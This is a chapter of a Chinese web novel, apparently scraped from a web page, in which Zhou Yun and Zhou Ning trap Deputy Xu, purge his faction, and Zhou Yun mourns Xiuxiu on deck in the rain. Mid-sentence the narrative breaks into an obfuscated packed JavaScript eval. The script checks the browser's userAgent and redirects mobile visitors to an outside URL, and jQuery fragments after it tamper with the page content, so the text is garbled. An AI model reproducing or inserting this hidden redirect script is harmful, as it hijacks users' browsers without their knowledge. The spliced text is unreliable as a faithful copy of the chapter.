76. 转战三千,一剑百万。

作品:《生明月

    次日,周允站在周宁舱房外,要把那扇门盯穿。


    没等他敲,舱门无声开启,似乎早已料定他会来。


    他走进去,笔直插进房间中央。


    “把人交出来。”


    话一出口,他自己都愣了下,嗓音哑得好似被海风吹干。


    周宁踱至窗边,背对着他开口,气定神闲:“什么人?周公子此话何意?”


    周允并未接茬,一双眼盯在她后背,眼神甚是锋利。


    周宁等不到回答,这才慢慢转过身,恍然似的:“哦——昨日听闻船上有人凭空消失,周公子指的莫不是此人?底下人倒是传了些闲话……说是徐副使那头,把人处理了?”


    她瞧着周允脸色愈发冷峻,却依旧字字如刀往他身上砍,每砍一刀,便要停顿一下,待疼痛浮现,才再落下一刀:“若是被投了海……啧啧,那可真是尸骨无存,连个念想都留不下了。”


    “我知道她在你这儿。”周允打断她。


    “周允,留下她,或者留下你,对我有何益处?”


    “我可以跟你合作,”他执拗坚持,“但你要保证,秀秀一根汗毛也不能少。”


    周宁不再言语,闲闲坐于桌边,斟了一盏茶,轻轻转动。


    沉默阻得周允喘不动气。


    “活要见人,”他再次开口,决绝嗓音中有强抑的颤抖,又被他死死咬住,“死了……我也要见到全尸。”


    周宁终于肯正眼看他,她打量着他下颌上新生的胡茬,眼下的青黑,以及衣裳上的七皱八褶,看了半晌,她轻嗤一声。


    “你是说,”她放下茶盏,一副事不关己的姿态,“要让我和一个自身难保的人来合作?”


    周允腮帮子咬得死紧,他伸出手,在她面前摊开掌心,上面是那枚白玉扳指。


    “提督私印,”周允似是破釜沉舟,“这个够不够?”


    周宁毫不在乎他话中潜在的威胁,视线在那扳指上稍作停留,沿之看见周允战栗的指尖,她脸上突然出现一丝惬然:“原来在这儿。”


    她未去拿那枚扳指,而是不慌不忙又斟了一盏茶。


    “你我都姓周,”她将新斟的茶盏轻轻推至周允手边桌沿,“说不准五百年前是一口锅里吃饭的,何必闹得这般紧张?”


    周允垂眼看她。


    周宁敛起松散,淡淡道:“周允,让你深陷如此境地的,并不是我。”


    不论是谁推他进来的,确凿的是他早已在如此境地之中泥足难拔,若非心中还吊着一口时散时聚的气儿、念着一个无法保护的人,他宁愿就此沉沦,一了百了。


    但只要有一丝希望,他便不甘,便得挣扎。


    局由此始。


    自打这日后,“提督”不再深居简出,连日召见徐副使,倚重与敲打一样不落,更在几次交谈中,透出对周宁“揽权过甚”、“行事愈发独断”的不满。


    安顺海“笨”得恰是时候,一会儿说漏嘴,一会手脚不灵醒,屏风后头的“提督”声音身形全都露出马脚。


    昔日那被提督体恤的老太监期盼着重得主子赏识,无意间对着徐副使猛吹耳旁风,呼呼作响。


    不过几日,徐副使眼底精光大变,疑心饲养野心,垂涎已久的权柄似乎唾手可得,压抑不住的觊觎已被彻底点燃,烧成一片赤裸裸的炽热。


    他暗中撤清巡夜护卫,将自己的人安插在提督舱房要道,磨刀利剑,只待换顶官帽戴戴。


    一日后,海风呼啸,深夜终于降临。


    徐副使率领十余名亲卫,大摇大摆地直扑提督舱房。


    “提督急召,有逆党欲行不轨!”


    亲卫上前,肩膀抵住那扇紧闭的门。


    就在这一刹那,一阵金铁交鸣自身后而起。


    徐副使惊然回首。


    只见原本昏暗的廊角深处,数盏风灯被补火,亮光最盛之地,周允赫然而立,脸色极寒。


    他身后,黑压压的侍卫填满走廊空隙,封死所有退路。


    定睛一瞧,民卫队的侍卫中竟混着不少官卫队的面孔。


    徐副使的心瞬间沉底。


    “徐副使,”周允领着众卫走近,“深夜率众,利刃逼宫,你这是要谋逆?!”


    徐副使强自抖擞:“胡言乱语!哪里来的狂徒,胆敢私自调兵?!我要见提督!”


    “见提督?”周允将其上下扫视,嘴角噙着讥诮冷笑,“便是面圣,也没有你这般持凶破门之礼!徐纪,你今夜所作所为,众目睽睽,还想抵赖?”


    他不再给他开口的机会,挥剑清喝:“提督有令,徐纪及其党羽,图谋弑上,罪证确凿,即可拿下,敢抗命者,格杀勿论!”


    话音刚落,埋伏已久的侍卫一拥而上,怒吼,撞击,闷响,惨嚎,刀光剑影间,徐纪亲卫终究寡不敌众,迅速溃败。


    不过半盏茶工夫。


    徐纪被两名侍卫反拧着胳膊按跪在地,刀架脖颈,他发髻散乱,官帽早已不知滚落至何处。


    与此同时,提督舱门开了。


    安顺海心里打鼓,手抠上门框站稳,对外面颤声高呼:“大、大人受惊了。幸得周匠头警觉,护卫有功,逆贼……逆贼已然伏法!”


    徐副使闻言瘫软,戴上另一顶无法摘下的、名为谋逆的铁冠。


    次日,中层官员齐聚议事舱内。


    提督因“受惊过度”,暂不视事,但一道加盖提督私印的手谕被送至所有官员面前。


    周宁立于上首,展开手谕代为传话。


    她平淡宣读:“提督谕:徐纪身受国恩,罔顾法纪,竟怀豺狼之心,行大逆之事,本督心痛如绞。然国法船规,岂容亵渎?着即严查余党,肃清毒流,以正视听!”


    话音落,她放下手谕,视线落到一张张脸上,将各人反应尽收眼底。


    “徐副使为官数年,在船上勤勉行事。”她语气惋惜,“奈何权欲熏心,听信谗言,一步行差踏错,便是万丈深渊。此事关乎朝廷体统与航程安危,宁可错抓,不可漏放!”


    她略一停顿,有意无意地看向几个平素与徐副使亲近的官员,问道:“诸位,对此可有异议?”


    无人应答。


    昨夜事情闹得大,今晨徐副使极其亲信被严密看管的消息已传遍,雷霆手段与铁腕宣言是最好的震慑,再无人敢在这个时候为徐副使发声。


    “既无异议,”周宁颔首,“便请各位在这手令附录上签署,以为凭证,待我呈报提督大人。”


    手令传下,每个人都看清了那枚鲜红的私印印痕。笔尖落下,别无选择。


    清洗,旋即展开。


    周允“临危受命”,以“配合调查,厘清关系”为名目,与周宁“协同办理”。


    徐纪的核心亲信、心腹侍卫被一个个单独召来,旧账被翻出,小错被放大,言语间的疏漏闪烁成铁证,或干脆一句“涉嫌同谋,暂行拘押”堵上所有口舌。


    雷厉风行,不容置辩。


    不过两


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17141780|188039||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    日光景,徐纪在船上经营的势力网络被连根拔起,党羽皆被囚于禁室。


    最终,一道措辞严厉的新命令传递全船。


    “即日起,全船戒严。一应兵卫调度、岗哨布置、巡逻查验,概由本督统管,全员配合后续调查,无本督亲笔手令或明确口谕,任何人不得擅动兵械,不得私自调兵。违令者,视同逆党,严惩不贷!”


    命令下达时,周宁正独身立于四层观星台之上,她俯瞰甲板上肃立听令的众人,面不改色。


    海天苍茫依旧,孤船破浪前行,新的秩序无声建立。尘埃,似乎落定了。


    甲板上众人散去,观星台上阳光耀眼,周宁正欲离去,脚步却顿住。


    周允挡住去路。


    不过几日,他整个人脱了相,脸上疲态尽显,仿佛骤然被抽走十年精气。唯独那双眼睛,里头熊熊烈火不灭。


    “徐纪已除,你的障碍清了。”他死死盯着周宁,“现在,把人还给我。”


    “没记错的话,今日是她头七罢?老话说,魂认识路,自己便会找回来。”周宁看着他,底气十足,“你找我作甚?”


    周允步步紧逼,目不转睛死盯着她。


    “我并不知道她在何处。”周宁并不畏惧,迎上他的目光,坚决残忍。


    可一股杀伐之气在周允四周聚集,魂不守舍,理智在边缘摇摆,从东窜到西,难以把握。他绷紧下颌,拳头在身侧攥成石头。


    “不信?”周宁语气不变,沉静如海,“我的地盘,随你去搜。”


    直至夜幕初垂,他什么也没搜到,什么也没问到。


    遍寻不获。


    他退出舱房,脚步虚浮地往下层走去,路过二层拐角,与几人迎面撞上。


    是吴碧秋,叶文珠以及张纭等人。四勺手里挎着一食盒,阿胜则抱着一个火盆,里面是些不知从何处得来的纸钱香烛。


    叶文珠一见周允那模样,嘴一扁,鼻尖发酸,梗着嗓子喊:“……表哥。”


    张纭也红了眼,垂下头,声音哽咽:“周大哥,是真的吗?我们都不相信……”


    周允喉结滚了又滚,说不出话,他接过四勺和阿胜手中的东西。


    “回去。”他哑声道,“都回去。”


    言罢,他不再看他们,只留下一个背影,往甲板走去。


    甲板之上,夜色并非纯净的黑,浑浊天幕中几颗星子要死不活,连海都是暗澹铁青色。


    海上风大,瞬息未察,怀中纸钱被卷走数张,艳黄色打着旋儿在甲板上飘,众人瞧见了都远远散开。


    终于寻了个避风角落,他将东西摆好,试图点燃火折子,几次都对不准火绒,正欲再点,一滴冰凉落在他脸颊上。


    他慢慢抬起头,第二滴,第三滴……


    下雨了。


    在他印象里,海上几乎没下过雨。今日怎的下雨了呢?


    他怔怔立在原地,不多时,甲板上的人全都散了。


    雨丝飞扬,渐渐密成网,捕住七零八落的供品、纸钱和他。


    天边一道闪电险些劈到船上,雨愈发狂暴,将全身都浇了个透,他在这狂风骤雨中陡然失了呼吸,什么也不能做,只能僵立在这窒息中等她“回魂”。


    此时,某扇舱门的阴影里,有人望着甲板上的身影咋舌。


    “你不要命啦?!”她扯着嗓子喊。


    一句话被雨水打得支离破碎,她不再多想,一跺脚,纤瘦身影撞开雨帘,朝船尾那人奔去。